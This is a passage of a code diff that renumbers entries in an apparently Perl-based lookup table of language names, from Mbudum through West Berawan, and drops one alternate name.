+   q(7392) => [
       q(Mbudum),
       ],
-   q(7396) => [
+   q(7393) => [
       q(Median),
       ],
-   q(7397) => [
+   q(7394) => [
       q(Mingrelian),
       ],
-   q(7398) => [
+   q(7395) => [
       q(Mengaka),
       ],
-   q(7399) => [
+   q(7396) => [
       q(Kuku-Muminh),
       ],
-   q(7400) => [
+   q(7397) => [
       q(Majera),
       ],
-   q(7401) => [
+   q(7398) => [
       q(Ancient Macedonian),
       ],
-   q(7402) => [
+   q(7399) => [
       q(Malaysian Sign Language),
       ],
-   q(7403) => [
+   q(7400) => [
       q(Manado Malay),
       ],
-   q(7404) => [
+   q(7401) => [
       q(Manichaean Middle Persian),
       ],
-   q(7405) => [
+   q(7402) => [
       q(Morerebi),
       ],
-   q(7406) => [
+   q(7403) => [
       q(Kuku-Mu'inh),
       ],
-   q(7407) => [
+   q(7404) => [
       q(Kuku-Mangk),
       ],
-   q(7408) => [
+   q(7405) => [
       q(Meroitic),
       ],
-   q(7409) => [
+   q(7406) => [
       q(Moroccan Sign Language),
       ],
-   q(7410) => [
+   q(7407) => [
       q(Matbat),
       ],
-   q(7411) => [
+   q(7408) => [
       q(Kamu),
       ],
-   q(7412) => [
+   q(7409) => [
       q(Antankarana Malagasy),
       q(Tankarana Malagasy),
       ],
-   q(7413) => [
+   q(7410) => [
       q(Tsimihety Malagasy),
       ],
-   q(7414) => [
+   q(7411) => [
       q(Maden),
       ],
-   q(7415) => [
+   q(7412) => [
       q(Mayaguduna),
       ],
-   q(7416) => [
+   q(7413) => [
       q(Mori Bawah),
       ],
-   q(7417) => [
+   q(7414) => [
       q(Ancient North Arabian),
       ],
-   q(7418) => [
+   q(7415) => [
       q(Kanakanabu),
       ],
-   q(7419) => [
+   q(7416) => [
       q(Middle Mongolian),
       ],
-   q(7420) => [
+   q(7417) => [
       q(Kuanhua),
       ],
-   q(7421) => [
+   q(7418) => [
       q(Ngarigu),
       ],
-   q(7422) => [
+   q(7419) => [
       q(Nganakarti),
       ],
-   q(7423) => [
+   q(7420) => [
       q(Northern Kankanay),
       ],
-   q(7424) => [
+   q(7421) => [
       q(Anglo-Norman),
       ],
-   q(7425) => [
+   q(7422) => [
       q(Kangri),
       ],
-   q(7426) => [
+   q(7423) => [
       q(Kanashi),
       ],
-   q(7427) => [
+   q(7424) => [
       q(Narragansett),
       ],
-   q(7428) => [
+   q(7425) => [
       q(Nukunul),
       ],
-   q(7429) => [
+   q(7426) => [
       q(Nyiyaparli),
       ],
-   q(7430) => [
+   q(7427) => [
       q(Kenzi),
       q(Mattoki),
       ],
-   q(7431) => [
+   q(7428) => [
       q(O'chi'chi'),
       ],
-   q(7432) => [
+   q(7429) => [
       q(Kokoda),
       ],
-   q(7433) => [
+   q(7430) => [
       q(Soga),
       ],
-   q(7434) => [
+   q(7431) => [
       q(Kominimung),
       ],
-   q(7435) => [
+   q(7432) => [
       q(Xokleng),
       ],
-   q(7436) => [
+   q(7433) => [
       q(Komo (Sudan)),
       ],
-   q(7437) => [
+   q(7434) => [
       q(Konkomba),
       ],
-   q(7438) => [
+   q(7435) => [
       q(Xukuru),
       ],
-   q(7439) => [
+   q(7436) => [
       q(Kopar),
       ],
-   q(7440) => [
+   q(7437) => [
       q(Korubo),
       ],
-   q(7441) => [
+   q(7438) => [
       q(Kowaki),
       ],
-   q(7442) => [
+   q(7439) => [
       q(Pirriya),
       ],
-   q(7443) => [
+   q(7440) => [
       q(Pecheneg),
       ],
-   q(7444) => [
+   q(7441) => [
       q(Liberia Kpelle),
       ],
-   q(7445) => [
+   q(7442) => [
       q(Phrygian),
       ],
-   q(7446) => [
+   q(7443) => [
       q(Pictish),
       ],
-   q(7447) => [
+   q(7444) => [
       q(Mpalitjanh),
       ],
-   q(7448) => [
+   q(7445) => [
       q(Kulina Pano),
       ],
-   q(7449) => [
+   q(7446) => [
       q(Pumpokol),
       ],
-   q(7450) => [
+   q(7447) => [
       q(Kapinawa),
       ],
-   q(7451) => [
+   q(7448) => [
       q(Pochutec),
       ],
-   q(7452) => [
+   q(7449) => [
       q(Puyo-Paekche),
       ],
-   q(7453) => [
+   q(7450) => [
       q(Mohegan-Pequot),
       ],
-   q(7454) => [
+   q(7451) => [
       q(Parthian),
       ],
-   q(7455) => [
+   q(7452) => [
       q(Pisidian),
       ],
-   q(7456) => [
+   q(7453) => [
       q(Punthamara),
       ],
-   q(7457) => [
+   q(7454) => [
       q(Punic),
       ],
-   q(7458) => [
+   q(7455) => [
       q(Puyo),
       ],
-   q(7459) => [
+   q(7456) => [
       q(Karakhanid),
       ],
-   q(7460) => [
+   q(7457) => [
       q(Qatabanian),
       ],
-   q(7461) => [
+   q(7458) => [
       q(Kraho),
       ],
-   q(7462) => [
+   q(7459) => [
       q(Eastern Karaboro),
       ],
-   q(7463) => [
+   q(7460) => [
       q(Gundungurra),
       ],
-   q(7464) => [
+   q(7461) => [
       q(Kreye),
       ],
-   q(7465) => [
+   q(7462) => [
       q(Minang),
       ],
-   q(7466) => [
+   q(7463) => [
       q(Krikati-Timbira),
       ],
-   q(7467) => [
+   q(7464) => [
       q(Armazic),
       ],
-   q(7468) => [
+   q(7465) => [
       q(Arin),
       ],
-   q(7469) => [
+   q(7466) => [
       q(Karranga),
       ],
-   q(7470) => [
+   q(7467) => [
       q(Raetic),
       ],
-   q(7471) => [
+   q(7468) => [
       q(Aranama-Tamique),
       ],
-   q(7472) => [
+   q(7469) => [
       q(Marriammu),
       ],
-   q(7473) => [
+   q(7470) => [
       q(Karawa),
       ],
-   q(7474) => [
+   q(7471) => [
       q(Sabaean),
       ],
-   q(7475) => [
+   q(7472) => [
       q(Sambal),
       ],
-   q(7476) => [
+   q(7473) => [
       q(Scythian),
       ],
-   q(7477) => [
+   q(7474) => [
       q(Sidetic),
       ],
-   q(7478) => [
+   q(7475) => [
       q(Sempan),
       ],
-   q(7479) => [
+   q(7476) => [
       q(Shamang),
       ],
-   q(7480) => [
+   q(7477) => [
       q(Sio),
       ],
-   q(7481) => [
+   q(7478) => [
       q(South Slavey),
       ],
-   q(7482) => [
+   q(7479) => [
       q(Kasem),
       ],
-   q(7483) => [
+   q(7480) => [
       q(Sanga (Nigeria)),
       ],
-   q(7484) => [
+   q(7481) => [
       q(Solano),
       ],
-   q(7485) => [
+   q(7482) => [
       q(Silopi),
       ],
-   q(7486) => [
+   q(7483) => [
       q(Makhuwa-Saka),
       ],
-   q(7487) => [
+   q(7484) => [
       q(Sherpa),
       ],
-   q(7488) => [
+   q(7485) => [
       q(Assan),
       ],
-   q(7489) => [
+   q(7486) => [
       q(Sanuma),
       ],
-   q(7490) => [
+   q(7487) => [
       q(Sudovian),
       ],
-   q(7491) => [
+   q(7488) => [
       q(Saisiyat),
       ],
-   q(7492) => [
+   q(7489) => [
       q(Alcozauca Mixtec),
       ],
-   q(7493) => [
+   q(7490) => [
       q(Chazumba Mixtec),
       ],
-   q(7494) => [
+   q(7491) => [
       q(Katcha-Kadugli-Miri),
       ],
-   q(7495) => [
+   q(7492) => [
       q(Diuxi-Tilantongo Mixtec),
       ],
-   q(7496) => [
+   q(7493) => [
       q(Ketengban),
       ],
-   q(7497) => [
+   q(7494) => [
       q(Transalpine Gaulish),
       ],
-   q(7498) => [
+   q(7495) => [
       q(Yitha Yitha),
       ],
-   q(7499) => [
+   q(7496) => [
       q(Sinicahua Mixtec),
       ],
-   q(7500) => [
+   q(7497) => [
       q(San Juan Teita Mixtec),
       ],
-   q(7501) => [
+   q(7498) => [
       q(Tijaltepec Mixtec),
       ],
-   q(7502) => [
+   q(7499) => [
       q(Magdalena Penasco Mixtec),
       ],
-   q(7503) => [
+   q(7500) => [
       q(Northern Tlaxiaco Mixtec),
       ],
-   q(7504) => [
+   q(7501) => [
       q(Tokharian A),
       ],
-   q(7505) => [
+   q(7502) => [
       q(San Miguel Piedras Mixtec),
       ],
-   q(7506) => [
+   q(7503) => [
       q(Tumshuqese),
       ],
-   q(7507) => [
+   q(7504) => [
       q(Early Tripuri),
       ],
-   q(7508) => [
+   q(7505) => [
       q(Sindihui Mixtec),
       ],
-   q(7509) => [
+   q(7506) => [
       q(Tacahua Mixtec),
       ],
-   q(7510) => [
+   q(7507) => [
       q(Cuyamecalco Mixtec),
       ],
-   q(7511) => [
+   q(7508) => [
       q(Thawa),
       ],
-   q(7512) => [
+   q(7509) => [
       q(Tawande),
       ],
-   q(7513) => [
+   q(7510) => [
       q(Yoloxochitl Mixtec),
       ],
-   q(7514) => [
+   q(7511) => [
       q(Tasmanian),
       ],
-   q(7515) => [
+   q(7512) => [
       q(Alu Kurumba),
       ],
-   q(7516) => [
+   q(7513) => [
       q(Betta Kurumba),
       ],
-   q(7517) => [
+   q(7514) => [
       q(Umiida),
       ],
-   q(7518) => [
+   q(7515) => [
       q(Kunigami),
       ],
-   q(7519) => [
+   q(7516) => [
       q(Jennu Kurumba),
       ],
-   q(7520) => [
+   q(7517) => [
       q(Ngunawal),
       ],
-   q(7521) => [
+   q(7518) => [
       q(Umbrian),
       ],
-   q(7522) => [
+   q(7519) => [
       q(Unggaranggu),
       ],
-   q(7523) => [
+   q(7520) => [
       q(Kuo),
       ],
-   q(7524) => [
+   q(7521) => [
       q(Upper Umpqua),
       ],
-   q(7525) => [
+   q(7522) => [
       q(Urartian),
       ],
-   q(7526) => [
+   q(7523) => [
       q(Kuthant),
       ],
-   q(7527) => [
+   q(7524) => [
       q(Kxoe),
-      q(Khwedam),
       ],
-   q(7528) => [
+   q(7525) => [
       q(Venetic),
       ],
-   q(7529) => [
+   q(7526) => [
       q(Kamviri),
       ],
-   q(7530) => [
+   q(7527) => [
       q(Vandalic),
       ],
-   q(7531) => [
+   q(7528) => [
       q(Volscian),
       ],
-   q(7532) => [
+   q(7529) => [
       q(Vestinian),
       ],
-   q(7533) => [
+   q(7530) => [
       q(Kwaza),
       ],
-   q(7534) => [
+   q(7531) => [
       q(Woccon),
       ],
-   q(7535) => [
+   q(7532) => [
       q(Wadi Wadi),
       ],
-   q(7536) => [
+   q(7533) => [
       q(Xwela Gbe),
       ],
-   q(7537) => [
+   q(7534) => [
       q(Kwegu),
       ],
-   q(7538) => [
+   q(7535) => [
       q(Wajuk),
       ],
-   q(7539) => [
+   q(7536) => [
       q(Wangkumara),
       ],
-   q(7540) => [
+   q(7537) => [
       q(Western Xwla Gbe),
       ],
-   q(7541) => [
+   q(7538) => [
       q(Written Oirat),
       ],
-   q(7542) => [
+   q(7539) => [
       q(Kwerba Mamberamo),
       ],
-   q(7543) => [
+   q(7540) => [
       q(Wotjobaluk),
       ],
-   q(7544) => [
+   q(7541) => [
       q(Wemba Wemba),
       ],
-   q(7545) => [
+   q(7542) => [
       q(Boro (Ghana)),
       ],
-   q(7546) => [
+   q(7543) => [
       q(Ke'o),
       ],
-   q(7547) => [
+   q(7544) => [
       q(Minkin),
       ],
-   q(7548) => [
+   q(7545) => [
       q(Koropo),
       ],
-   q(7549) => [
+   q(7546) => [
       q(Tambora),
       ],
-   q(7550) => [
+   q(7547) => [
       q(Yaygir),
       ],
-   q(7551) => [
+   q(7548) => [
       q(Yandjibara),
       ],
-   q(7552) => [
+   q(7549) => [
       q(Mayi-Yapi),
       ],
-   q(7553) => [
+   q(7550) => [
       q(Mayi-Kulan),
       ],
-   q(7554) => [
+   q(7551) => [
       q(Yalakalore),
       ],
-   q(7555) => [
+   q(7552) => [
       q(Mayi-Thakurti),
       ],
-   q(7556) => [
+   q(7553) => [
       q(Yorta Yorta),
       ],
-   q(7557) => [
+   q(7554) => [
       q(Zhang-Zhung),
       ],
-   q(7558) => [
+   q(7555) => [
       q(Zemgalian),
       ],
-   q(7559) => [
+   q(7556) => [
       q(Ancient Zapotec),
       ],
-   q(7560) => [
+   q(7557) => [
       q(Yaminahua),
       ],
-   q(7561) => [
+   q(7558) => [
       q(Yuhup),
       ],
-   q(7562) => [
+   q(7559) => [
       q(Pass Valley Yali),
       ],
-   q(7563) => [
+   q(7560) => [
       q(Yagua),
       ],
-   q(7564) => [
+   q(7561) => [
       q(Pume),
       ],
-   q(7565) => [
+   q(7562) => [
       q(Yaka (Democratic Republic of Congo)),
       ],
-   q(7566) => [
+   q(7563) => [
       q(Yamana),
       ],
-   q(7567) => [
+   q(7564) => [
       q(Yazgulyam),
       ],
-   q(7568) => [
+   q(7565) => [
       q(Yagnobi),
       ],
-   q(7569) => [
+   q(7566) => [
       q(Banda-Yangere),
       ],
-   q(7570) => [
+   q(7567) => [
       q(Yakama),
       ],
-   q(7571) => [
+   q(7568) => [
       q(Yalunka),
       ],
-   q(7572) => [
+   q(7569) => [
       q(Yamba),
       ],
-   q(7573) => [
+   q(7570) => [
       q(Mayangna),
       ],
-   q(7574) => [
+   q(7571) => [
       q(Yaqui),
       ],
-   q(7575) => [
+   q(7572) => [
       q(Yabarana),
       ],
-   q(7576) => [
+   q(7573) => [
       q(Nugunu (Cameroon)),
       ],
-   q(7577) => [
+   q(7574) => [
       q(Yambeta),
       ],
-   q(7578) => [
+   q(7575) => [
       q(Yuwana),
       ],
-   q(7579) => [
+   q(7576) => [
       q(Yangben),
       ],
-   q(7580) => [
+   q(7577) => [
       q(Yawalapiti),
       ],
-   q(7581) => [
+   q(7578) => [
       q(Yauma),
       ],
-   q(7582) => [
+   q(7579) => [
       q(Agwagwune),
       ],
-   q(7583) => [
+   q(7580) => [
       q(Lokaa),
       ],
-   q(7584) => [
+   q(7581) => [
       q(Yala),
       ],
-   q(7585) => [
+   q(7582) => [
       q(Yemba),
       ],
-   q(7586) => [
+   q(7583) => [
       q(West Yugur),
       ],
-   q(7587) => [
+   q(7584) => [
       q(Yakha),
       ],
-   q(7588) => [
+   q(7585) => [
       q(Yamphu),
       ],
-   q(7589) => [
+   q(7586) => [
       q(Hasha),
       ],
-   q(7590) => [
+   q(7587) => [
       q(Bokha),
       ],
-   q(7591) => [
+   q(7588) => [
       q(Yukuben),
       ],
-   q(7592) => [
+   q(7589) => [
       q(Yaben),
       ],
-   q(7593) => [
+   q(7590) => [
       q(Yabaana),
       ],
-   q(7594) => [
+   q(7591) => [
       q(Yabong),
       ],
-   q(7595) => [
+   q(7592) => [
       q(Yawiyo),
       ],
-   q(7596) => [
+   q(7593) => [
       q(Yaweyuha),
       ],
-   q(7597) => [
+   q(7594) => [
       q(Chesu),
       ],
-   q(7598) => [
+   q(7595) => [
       q(Lolopo),
       ],
-   q(7599) => [
+   q(7596) => [
       q(Yucuna),
       ],
-   q(7600) => [
+   q(7597) => [
       q(Chepya),
       ],
-   q(7601) => [
+   q(7598) => [
       q(Yanda),
       ],
-   q(7602) => [
+   q(7599) => [
       q(Eastern Yiddish),
       ],
-   q(7603) => [
+   q(7600) => [
       q(Yangum Dey),
       ],
-   q(7604) => [
+   q(7601) => [
       q(Yidgha),
       ],
-   q(7605) => [
+   q(7602) => [
       q(Yoidik),
       ],
-   q(7606) => [
+   q(7603) => [
       q(Ravula),
       ],
-   q(7607) => [
+   q(7604) => [
       q(Yeniche),
       ],
-   q(7608) => [
+   q(7605) => [
       q(Yimas),
       ],
-   q(7609) => [
+   q(7606) => [
       q(Yeni),
       ],
-   q(7610) => [
+   q(7607) => [
       q(Yevanic),
       ],
-   q(7611) => [
+   q(7608) => [
       q(Yela),
       ],
-   q(7612) => [
+   q(7609) => [
       q(Tarok),
       ],
-   q(7613) => [
+   q(7610) => [
       q(Nyankpa),
       ],
-   q(7614) => [
+   q(7611) => [
       q(Yetfa),
       ],
-   q(7615) => [
+   q(7612) => [
       q(Yerukula),
       ],
-   q(7616) => [
+   q(7613) => [
       q(Yapunda),
       ],
-   q(7617) => [
+   q(7614) => [
       q(Yeyi),
       ],
-   q(7618) => [
+   q(7615) => [
       q(Malyangapa),
       ],
-   q(7619) => [
+   q(7616) => [
       q(Yiningayi),
       ],
-   q(7620) => [
+   q(7617) => [
       q(Yangum Gel),
       ],
-   q(7621) => [
+   q(7618) => [
       q(Yagomi),
       ],
-   q(7622) => [
+   q(7619) => [
       q(Gepo),
       ],
-   q(7623) => [
+   q(7620) => [
       q(Yagaria),
       ],
-   q(7624) => [
+   q(7621) => [
       q(Yolnu Sign Language),
       ],
-   q(7625) => [
+   q(7622) => [
       q(Yugul),
       ],
-   q(7626) => [
+   q(7623) => [
       q(Yagwoia),
       ],
-   q(7627) => [
+   q(7624) => [
       q(Baha Buyang),
       ],
-   q(7628) => [
+   q(7625) => [
       q(Judeo-Iraqi Arabic),
       ],
-   q(7629) => [
+   q(7626) => [
       q(Hlepho Phowa),
       ],
-   q(7630) => [
+   q(7627) => [
       q(Yan-nhanu Sign Language),
       ],
-   q(7631) => [
+   q(7628) => [
       q(Yinggarda),
       ],
-   q(7632) => [
+   q(7629) => [
       q(Wusa Nasu),
       ],
-   q(7633) => [
+   q(7630) => [
       q(Western Yiddish),
       ],
-   q(7634) => [
+   q(7631) => [
       q(Yidiny),
       ],
-   q(7635) => [
+   q(7632) => [
       q(Yindjibarndi),
       ],
-   q(7636) => [
+   q(7633) => [
       q(Dongshanba Lalo),
       ],
-   q(7637) => [
+   q(7634) => [
       q(Yindjilandji),
       ],
-   q(7638) => [
+   q(7635) => [
       q(Yimchungru Naga),
       ],
-   q(7639) => [
+   q(7636) => [
       q(Yinchia),
       ],
-   q(7640) => [
+   q(7637) => [
       q(Pholo),
       ],
-   q(7641) => [
+   q(7638) => [
       q(Miqie),
       ],
-   q(7642) => [
+   q(7639) => [
       q(North Awyu),
       ],
-   q(7643) => [
+   q(7640) => [
       q(Yis),
       ],
-   q(7644) => [
+   q(7641) => [
       q(Eastern Lalu),
       ],
-   q(7645) => [
+   q(7642) => [
       q(Awu),
       ],
-   q(7646) => [
+   q(7643) => [
       q(Northern Nisu),
       ],
-   q(7647) => [
+   q(7644) => [
       q(Axi Yi),
       ],
-   q(7648) => [
+   q(7645) => [
       q(Azhe),
       ],
-   q(7649) => [
+   q(7646) => [
       q(Yakan),
       ],
-   q(7650) => [
+   q(7647) => [
       q(Northern Yukaghir),
       ],
-   q(7651) => [
+   q(7648) => [
       q(Yoke),
       ],
-   q(7652) => [
+   q(7649) => [
       q(Yakaikeke),
       ],
-   q(7653) => [
+   q(7650) => [
       q(Khlula),
       ],
-   q(7654) => [
+   q(7651) => [
       q(Kap),
       ],
-   q(7655) => [
+   q(7652) => [
       q(Kua-nsi),
       ],
-   q(7656) => [
+   q(7653) => [
       q(Yasa),
       ],
-   q(7657) => [
+   q(7654) => [
       q(Yekora),
       ],
-   q(7658) => [
+   q(7655) => [
       q(Kathu),
       ],
-   q(7659) => [
+   q(7656) => [
       q(Kuamasi),
       ],
-   q(7660) => [
+   q(7657) => [
       q(Yakoma),
       ],
-   q(7661) => [
+   q(7658) => [
       q(Yaul),
       ],
-   q(7662) => [
+   q(7659) => [
       q(Yaleba),
       ],
-   q(7663) => [
+   q(7660) => [
       q(Yele),
       ],
-   q(7664) => [
+   q(7661) => [
       q(Yelogu),
       ],
-   q(7665) => [
+   q(7662) => [
       q(Angguruk Yali),
       ],
-   q(7666) => [
+   q(7663) => [
       q(Yil),
       ],
-   q(7667) => [
+   q(7664) => [
       q(Limi),
       ],
-   q(7668) => [
+   q(7665) => [
       q(Langnian Buyang),
       ],
-   q(7669) => [
+   q(7666) => [
       q(Naluo Yi),
       ],
-   q(7670) => [
+   q(7667) => [
       q(Yalarnnga),
       ],
-   q(7671) => [
+   q(7668) => [
       q(Aribwaung),
       ],
-   q(7672) => [
+   q(7669) => [
       q(Nyalayu),
       q(Nyelayu),
       ],
-   q(7673) => [
+   q(7670) => [
       q(Yambes),
       ],
-   q(7674) => [
+   q(7671) => [
       q(Southern Muji),
       ],
-   q(7675) => [
+   q(7672) => [
       q(Muda),
       ],
-   q(7676) => [
+   q(7673) => [
       q(Yameo),
       ],
-   q(7677) => [
+   q(7674) => [
       q(Yamongeri),
       ],
-   q(7678) => [
+   q(7675) => [
       q(Mili),
       ],
-   q(7679) => [
+   q(7676) => [
       q(Moji),
       ],
-   q(7680) => [
+   q(7677) => [
       q(Makwe),
       ],
-   q(7681) => [
+   q(7678) => [
       q(Iamalele),
       ],
-   q(7682) => [
+   q(7679) => [
       q(Maay),
       ],
-   q(7683) => [
+   q(7680) => [
       q(Yamna),
       q(Sunum),
       ],
-   q(7684) => [
+   q(7681) => [
       q(Yangum Mon),
       ],
-   q(7685) => [
+   q(7682) => [
       q(Yamap),
       ],
-   q(7686) => [
+   q(7683) => [
       q(Qila Muji),
       ],
-   q(7687) => [
+   q(7684) => [
       q(Malasar),
       ],
-   q(7688) => [
+   q(7685) => [
       q(Mysian),
       ],
-   q(7689) => [
+   q(7686) => [
       q(Northern Muji),
       ],
-   q(7690) => [
+   q(7687) => [
       q(Muzi),
       ],
-   q(7691) => [
+   q(7688) => [
       q(Aluo),
       ],
-   q(7692) => [
+   q(7689) => [
       q(Yandruwandha),
       ],
-   q(7693) => [
+   q(7690) => [
       q(Lang'e),
       ],
-   q(7694) => [
+   q(7691) => [
       q(Yango),
       ],
-   q(7695) => [
+   q(7692) => [
       q(Naukan Yupik),
       ],
-   q(7696) => [
+   q(7693) => [
       q(Yangulam),
       ],
-   q(7697) => [
+   q(7694) => [
       q(Yana),
       ],
-   q(7698) => [
+   q(7695) => [
       q(Yong),
       ],
-   q(7699) => [
+   q(7696) => [
       q(Yendang),
       ],
-   q(7700) => [
+   q(7697) => [
       q(Yansi),
       ],
-   q(7701) => [
+   q(7698) => [
       q(Yahuna),
       ],
-   q(7702) => [
+   q(7699) => [
       q(Yoba),
       ],
-   q(7703) => [
+   q(7700) => [
       q(Yogad),
       ],
-   q(7704) => [
+   q(7701) => [
       q(Yonaguni),
       ],
-   q(7705) => [
+   q(7702) => [
       q(Yokuts),
       ],
-   q(7706) => [
+   q(7703) => [
       q(Yola),
       ],
-   q(7707) => [
+   q(7704) => [
       q(Yombe),
       ],
-   q(7708) => [
+   q(7705) => [
       q(Yongkom),
       ],
-   q(7709) => [
+   q(7706) => [
       q(Yotti),
       ],
-   q(7710) => [
+   q(7707) => [
       q(Yoron),
       ],
-   q(7711) => [
+   q(7708) => [
       q(Yoy),
       ],
-   q(7712) => [
+   q(7709) => [
       q(Phala),
       ],
-   q(7713) => [
+   q(7710) => [
       q(Labo Phowa),
       ],
-   q(7714) => [
+   q(7711) => [
       q(Phola),
       ],
-   q(7715) => [
+   q(7712) => [
       q(Phupha),
       ],
-   q(7716) => [
+   q(7713) => [
       q(Phuma),
       ],
-   q(7717) => [
+   q(7714) => [
       q(Ani Phowa),
       ],
-   q(7718) => [
+   q(7715) => [
       q(Alo Phola),
       ],
-   q(7719) => [
+   q(7716) => [
       q(Phupa),
       ],
-   q(7720) => [
+   q(7717) => [
       q(Phuza),
       ],
-   q(7721) => [
+   q(7718) => [
       q(Yerakai),
       ],
-   q(7722) => [
+   q(7719) => [
       q(Yareba),
       ],
-   q(7723) => [
+   q(7720) => [
       q(Yaoure),
       ],
-   q(7724) => [
+   q(7721) => [
       q(Nenets),
       ],
-   q(7725) => [
+   q(7722) => [
       q(Nhengatu),
       ],
-   q(7726) => [
+   q(7723) => [
       q(Yirrk-Mel),
       ],
-   q(7727) => [
+   q(7724) => [
       q(Yerong),
       ],
-   q(7728) => [
+   q(7725) => [
       q(Yaroame),
       ],
-   q(7729) => [
+   q(7726) => [
       q(Yarsun),
       ],
-   q(7730) => [
+   q(7727) => [
       q(Yarawata),
       ],
-   q(7731) => [
+   q(7728) => [
       q(Yarluyandi),
       ],
-   q(7732) => [
+   q(7729) => [
       q(Yassic),
       ],
-   q(7733) => [
+   q(7730) => [
       q(Samatao),
       ],
-   q(7734) => [
+   q(7731) => [
       q(Sonaga),
       ],
-   q(7735) => [
+   q(7732) => [
       q(Yugoslavian Sign Language),
       ],
-   q(7736) => [
+   q(7733) => [
       q(Sani),
       ],
-   q(7737) => [
+   q(7734) => [
       q(Nisi (China)),
       ],
-   q(7738) => [
+   q(7735) => [
       q(Southern Lolopo),
       ],
-   q(7739) => [
+   q(7736) => [
       q(Sirenik Yupik),
       ],
-   q(7740) => [
+   q(7737) => [
       q(Yessan-Mayo),
       ],
-   q(7741) => [
+   q(7738) => [
       q(Sanie),
       ],
-   q(7742) => [
+   q(7739) => [
       q(Talu),
       ],
-   q(7743) => [
+   q(7740) => [
       q(Tanglang),
       ],
-   q(7744) => [
+   q(7741) => [
       q(Thopho),
       ],
-   q(7745) => [
+   q(7742) => [
       q(Yout Wam),
       ],
-   q(7746) => [
+   q(7743) => [
       q(Yatay),
       ],
-   q(7747) => [
+   q(7744) => [
       q(Yucateco),
       q(Yucatec Maya),
       ],
-   q(7748) => [
+   q(7745) => [
       q(Yugambal),
       ],
-   q(7749) => [
+   q(7746) => [
       q(Yuchi),
       ],
-   q(7750) => [
+   q(7747) => [
       q(Judeo-Tripolitanian Arabic),
       ],
-   q(7751) => [
+   q(7748) => [
       q(Yue Chinese),
       q(Cantonese),
       ],
-   q(7752) => [
+   q(7749) => [
       q(Havasupai-Walapai-Yavapai),
       ],
-   q(7753) => [
+   q(7750) => [
       q(Yug),
       ],
-   q(7754) => [
+   q(7751) => [
       q(Yuruti),
       ],
-   q(7755) => [
+   q(7752) => [
       q(Karkar-Yuri),
       ],
-   q(7756) => [
+   q(7753) => [
       q(Yuki),
       ],
-   q(7757) => [
+   q(7754) => [
       q(Yulu),
       ],
-   q(7758) => [
+   q(7755) => [
       q(Quechan),
       ],
-   q(7759) => [
+   q(7756) => [
       q(Bena (Nigeria)),
       ],
-   q(7760) => [
+   q(7757) => [
       q(Yukpa),
       ],
-   q(7761) => [
+   q(7758) => [
       q(Yuqui),
       ],
-   q(7762) => [
+   q(7759) => [
       q(Yurok),
       ],
-   q(7763) => [
+   q(7760) => [
       q(Yopno),
       ],
-   q(7764) => [
+   q(7761) => [
       q(Yau (Morobe Province)),
       ],
-   q(7765) => [
+   q(7762) => [
       q(Southern Yukaghir),
       ],
-   q(7766) => [
+   q(7763) => [
       q(East Yugur),
       ],
-   q(7767) => [
+   q(7764) => [
       q(Yuracare),
       ],
-   q(7768) => [
+   q(7765) => [
       q(Yawa),
       ],
-   q(7769) => [
+   q(7766) => [
       q(Yavitero),
       ],
-   q(7770) => [
+   q(7767) => [
       q(Kalou),
       ],
-   q(7771) => [
+   q(7768) => [
       q(Yinhawangka),
       ],
-   q(7772) => [
+   q(7769) => [
       q(Western Lalu),
       ],
-   q(7773) => [
+   q(7770) => [
       q(Yawanawa),
       ],
-   q(7774) => [
+   q(7771) => [
       q(Wuding-Luquan Yi),
       ],
-   q(7775) => [
+   q(7772) => [
       q(Yawuru),
       ],
-   q(7776) => [
+   q(7773) => [
       q(Xishanba Lalo),
       q(Central Lalo),
       ],
-   q(7777) => [
+   q(7774) => [
       q(Wumeng Nasu),
       ],
-   q(7778) => [
+   q(7775) => [
       q(Yawarawarga),
       ],
-   q(7779) => [
+   q(7776) => [
       q(Mayawali),
       ],
-   q(7780) => [
+   q(7777) => [
       q(Yagara),
       ],
-   q(7781) => [
+   q(7778) => [
       q(Yardliyawarra),
       ],
-   q(7782) => [
+   q(7779) => [
       q(Yinwum),
       ],
-   q(7783) => [
+   q(7780) => [
       q(Yuyu),
       ],
-   q(7784) => [
+   q(7781) => [
       q(Yabula Yabula),
       ],
-   q(7785) => [
+   q(7782) => [
       q(Yir Yoront),
       ],
-   q(7786) => [
+   q(7783) => [
       q(Yau (Sandaun Province)),
       ],
-   q(7787) => [
+   q(7784) => [
       q(Ayizi),
       ],
-   q(7788) => [
+   q(7785) => [
       q(E'ma Buyang),
       ],
-   q(7789) => [
+   q(7786) => [
       q(Zokhuo),
       ],
-   q(7790) => [
+   q(7787) => [
       q(Sierra de Juarez Zapotec),
       ],
-   q(7791) => [
+   q(7788) => [
       q(Western Tlacolula Valley Zapotec),
       q(San Juan Guelavia Zapotec),
       ],
-   q(7792) => [
+   q(7789) => [
       q(Ocotlan Zapotec),
       ],
-   q(7793) => [
+   q(7790) => [
       q(Cajonos Zapotec),
       ],
-   q(7794) => [
+   q(7791) => [
       q(Yareni Zapotec),
       ],
-   q(7795) => [
+   q(7792) => [
       q(Ayoquesco Zapotec),
       ],
-   q(7796) => [
+   q(7793) => [
       q(Zaghawa),
       ],
-   q(7797) => [
+   q(7794) => [
       q(Zangwal),
       ],
-   q(7798) => [
+   q(7795) => [
       q(Isthmus Zapotec),
       ],
-   q(7799) => [
+   q(7796) => [
       q(Zaramo),
       ],
-   q(7800) => [
+   q(7797) => [
       q(Zanaki),
       ],
-   q(7801) => [
+   q(7798) => [
       q(Zauzou),
       ],
-   q(7802) => [
+   q(7799) => [
       q(Miahuatlan Zapotec),
       ],
-   q(7803) => [
+   q(7800) => [
       q(Ozolotepec Zapotec),
       ],
-   q(7804) => [
+   q(7801) => [
       q(Aloapam Zapotec),
       ],
-   q(7805) => [
+   q(7802) => [
       q(Rincon Zapotec),
       ],
-   q(7806) => [
+   q(7803) => [
       q(Santo Domingo Albarradas Zapotec),
       ],
-   q(7807) => [
+   q(7804) => [
       q(Tabaa Zapotec),
       ],
-   q(7808) => [
+   q(7805) => [
       q(Zangskari),
       ],
-   q(7809) => [
+   q(7806) => [
       q(Yatzachi Zapotec),
       ],
-   q(7810) => [
+   q(7807) => [
       q(Mitla Zapotec),
       ],
-   q(7811) => [
+   q(7808) => [
       q(Xadani Zapotec),
       ],
-   q(7812) => [
+   q(7809) => [
       q(Zayse-Zergulla),
       q(Zaysete),
       ],
-   q(7813) => [
+   q(7810) => [
       q(Zari),
       ],
-   q(7814) => [
+   q(7811) => [
       q(Central Berawan),
       ],
-   q(7815) => [
+   q(7812) => [
       q(East Berawan),
       ],
-   q(7816) => [
+   q(7813) => [
       q(Batui),
       ],
-   q(7817) => [
+   q(7814) => [
       q(West Berawan),
